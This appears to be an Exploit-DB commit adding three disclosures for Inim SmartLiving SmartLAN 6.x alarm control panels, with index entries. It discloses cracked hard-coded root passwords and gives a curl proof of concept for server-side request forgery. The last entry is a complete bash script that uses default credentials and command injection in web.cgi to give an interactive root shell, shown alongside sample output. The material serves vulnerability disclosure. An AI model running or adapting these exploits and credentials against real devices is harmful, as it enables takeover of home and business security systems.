DB: 2019-12-11

3 changes to exploits/shellcodes

Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials
Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery
Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution
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Offensive Security 2019-12-11 05:01:56 +00:00
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# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials
# Exploit Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Advisory ID: ZSL-2019-5546
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php
Inim Electronics Smartliving SmartLAN/G/SI <=6.x Hard-coded Credentials
Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3
Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.
SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.
SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.
Desc: The devices utilizes hard-coded credentials within its Linux distribution image.
These sets of credentials (Telnet, SSH, FTP) are never exposed to the end-user and cannot
be changed through any normal operation of the smart home device. Attacker could exploit
this vulnerability by logging in and gain system access.
Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2019-5546
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5546.php
06.09.2019
--
# cat /etc/passwd
root:$1$$uqbusDeGY2YWqg.T2S1100:0:0:administrator:/:/bin/sh
nobody:*:254:254:nobody:/var/empty:/bin/sh
logout:gfr8cijmRSDck:498:506:logout:/:
# john --show /etc/passwd
root:pass:0:0:administrator:/:/bin/sh
logout:logout:498:506:logout:/:
2 password hashes cracked, 0 left

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# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery
# Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Version: 6.x
# Advisory ID: ZSL-2019-5545
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php
Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF
Vendor: INIM Electronics s.r.l.
Product web page: https://www.inim.biz
Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
Affected version: <=6.x
Affected models: SmartLiving 505
SmartLiving 515
SmartLiving 1050, SmartLiving 1050/G3
SmartLiving 10100L, SmartLiving10100L/G3
Summary: SmartLiving anti-intrusion control panel and security system provides
important features rarely found in residential, commercial or industrial application
systems of its kind. This optimized-performance control panel provides first-rate
features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
end-to-end voice transmission (voice-on-bus), IP connectivity.
SMARTLAN/SI:
The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
networking capability and fast connectivity to the Internet. Therefore, it is possible
to set up a remote connection and program or control the system via the SmartLeague
software application. In effect, the SmartLAN/SI board grants the same level of access
to the system as a local RS232 connection.
SMARTLAN/G:
The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
advanced remote-access and communication functions. The SmartLAN/G board is capable of
sending event-related e-mails automatically. Each e-mail can be associated with a subject,
an attachment and a text message. The attachment can be of any kind and is saved to an
SD card. The message text can contain direct links to domains or IP addressable devices,
such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
global access to their control panels via any Internet browser accessed through a PC,
PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
distinguishing the means of connection and as a result provides an appropriate web-page
for the tool in use. Smartphones can control the system in much the same way as a
household keypad, from inside the house or from any part of the world.
Desc: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the
SmartLiving SmartLAN within the GetImage functionality. The application parses user
supplied data in the GET parameter 'host' to construct an image request to the service
through onvif.cgi. Since no validation is carried out on the parameter, an attacker
can specify an external domain and force the application to make an HTTP request to
an arbitrary destination host. This can be used by an external attacker for example
to bypass firewalls and initiate a service and network enumeration on the internal
network through the affected application.
Tested on: GNU/Linux 3.2.1 armv5tejl
Boa/0.94.14rc21
BusyBox v1.20.2
Vulnerability discovered by Sipke Mellema
@zeroscience
Advisory ID: ZSL-2019-5545
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php
PoC:
curl http://192.168.1.17/cgi-bin/onvif.cgi -X POST -d"mod=GetImage&host=http://127.0.0.1:23&par=2"

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# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution
# Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Version: 6.x
# Advisory ID: ZSL-2019-5545
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5545.php
#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Command Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-automation/control-panel-smartliving?
# Affected version: <=6.x
# Affected models: SmartLiving 505
# SmartLiving 515
# SmartLiving 1050, SmartLiving 1050/G3
# SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security system provides
# important features rarely found in residential, commercial or industrial application
# systems of its kind. This optimized-performance control panel provides first-rate
# features such as: graphic display, text-to-speech, voice notifier, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory board provides point-to-point
# networking capability and fast connectivity to the Internet. Therefore, it is possible
# to set up a remote connection and program or control the system via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants the same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI but in addition provides
# advanced remote-access and communication functions. The SmartLAN/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be associated with a subject,
# an attachment and a text message. The attachment can be of any kind and is saved to an
# SD card. The message text can contain direct links to domains or IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLAN/G board offers users
# global access to their control panels via any Internet browser accessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web-server capable of
# distinguishing the means of connection and as a result provides an appropriate web-page
# for the tool in use. Smartphones can control the system in much the same way as a
# household keypad, from inside the house or from any part of the world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being sanitized when called with
# the 'testemail' module through web.cgi binary. The vulnerable CGI binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the system() function to issue
# a command using the mailx service and its vulnerable string format parameter allowing
# for OS command injection with root privileges. An attacker can remotely execute system
# commands as the root user using default credentials and bypass access controls in place.
#
# ================= dissassembly of vuln function =================
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c ldr r1, str.testemail ; [0xed96:4]=0x74736574 ; "testemail" ; const char * s2
#| 0x0000c870 bl sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
#| 0x0000c874 cmp r0, 0
#| 0x0000c878 bne 0xc8b8
#| 0x0000c87c cmp sl, 0
#| 0x0000c880 beq 0xd148
#| 0x0000c884 bl sym.set_no_cache
#| 0x0000c888 add r5, sp, 0x20
#| 0x0000c88c mov r0, r4
#| 0x0000c890 ldr r1, str.application_json ; [0xeda0:4]=0x6c707061 ; "application/json"
#| 0x0000c894 bl sym.imp.qcgires_setcontenttype
#| 0x0000c898 mov r0, r5 ; char *s
#| 0x0000c89c mov r1, 0xc8 ; 200 ; size_t
#| 0x0000c8a0 ldr r2, str.echo__Hello_____mailx__s__Email_test___s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email test\" %s" ; con
#| 0x0000c8a4 mov r3, r8 ; ...
#| 0x0000c8a8 bl sym.imp.snprintf ; int snprintf(char *s,
#| 0x0000c8ac mov r0, r5 ; const char * string
#| 0x0000c8b0 bl sym.imp.system ; int system(const char *string)
#| 0x0000c8b4 b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s "Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cgi -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "user=admin;pass=pass;code=9999")
#| Process: 1351 root 0:00 sh -c echo "Hello!" | mailx -s "Emaiil test" ;/sbin/ifconfig
#|__
# =================================================================
#
# -----------------------------------------------------------------
#
# root@kali:~# ./xpl.sh https://192.168.1.17
#
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
#
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; pwd
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013 armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# <html><body><h2>
# SmartLiving 6.07 10100
# <br><br>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/#
#
# -----------------------------------------------------------------
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
# Boa/0.94.14rc21
# BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5544.php
#
#
# 06.09.2019
#
URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&par=;"
CHECK=${URL:4:1}
if [ "$#" -ne 1 ]; then
echo -en "\e[34m"
echo "==============================================="
echo " SmartLiving SmartLAN 6.x Remote Root Exploit"
echo -e "\t\tZSL-2019-5544"
echo "==============================================="
echo -en "\e[00m"
echo -e "\nUsage: $0 http(s)://ip:port\n"
exit 0
fi
echo -ne "\nChecking target: $URL\n"
if [ "$CHECK" == "s" ]; then
TEST=$(curl -sIk $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTPS with error!"
exit 0
fi
if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!\n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@ssl>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
else
TEST=$(curl -sI $URL 2>/dev/null | head -1 | awk -F" " '{print $2}')
if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
echo "HTTP with error!"
exit 0
fi
if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PARAMS}id" | grep uid 1>/dev/null
then
echo -e "ACCESS GRANTED!\n"
else
echo "Invalid credentials."
exit 0
fi
while true; do
R="$(tput sgr0)"
S="$(tput setaf 2)"
read -rp "${S}root@http>${R} " CMD
if [[ "$CMD" == "exit" ]]; then
exit 0
fi
curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n -5
done
fi

View file

@ -10834,6 +10834,7 @@ id,file,description,date,author,type,platform,port
47754,exploits/windows/local/47754.py,"Microsoft Windows - 'WSReset' UAC Protection Bypass (Registry)",2019-09-02,valen,local,windows,
47755,exploits/windows/local/47755.c,"Microsoft Windows 10 - 'WSReset' UAC Protection Bypass (propsys.dll)",2019-09-20,valen,local,windows,
47759,exploits/windows/local/47759.py,"SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)",2019-12-09,"Kirill Nikolaev",local,windows,
47763,exploits/hardware/local/47763.txt,"Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials",2019-12-10,LiquidWorm,local,hardware,
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -42072,3 +42073,5 @@ id,file,description,date,author,type,platform,port
47760,exploits/hardware/webapps/47760.py,"Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution",2019-12-09,Hodorsec,webapps,hardware,
47761,exploits/php/webapps/47761.py,"Alcatel-Lucent Omnivista 8770 - Remote Code Execution",2019-12-09,0x1911,webapps,php,
47762,exploits/java/webapps/47762.txt,"Oracle Siebel Sales 8.1 - Persistent Cross-Site Scripting",2019-12-09,omurugur,webapps,java,
47764,exploits/hardware/webapps/47764.txt,"Inim Electronics Smartliving SmartLAN 6.x - Unauthenticated Server-Side Request Forgery",2019-12-10,LiquidWorm,webapps,hardware,
47765,exploits/hardware/webapps/47765.txt,"Inim Electronics Smartliving SmartLAN 6.x - Remote Command Execution",2019-12-10,LiquidWorm,webapps,hardware,

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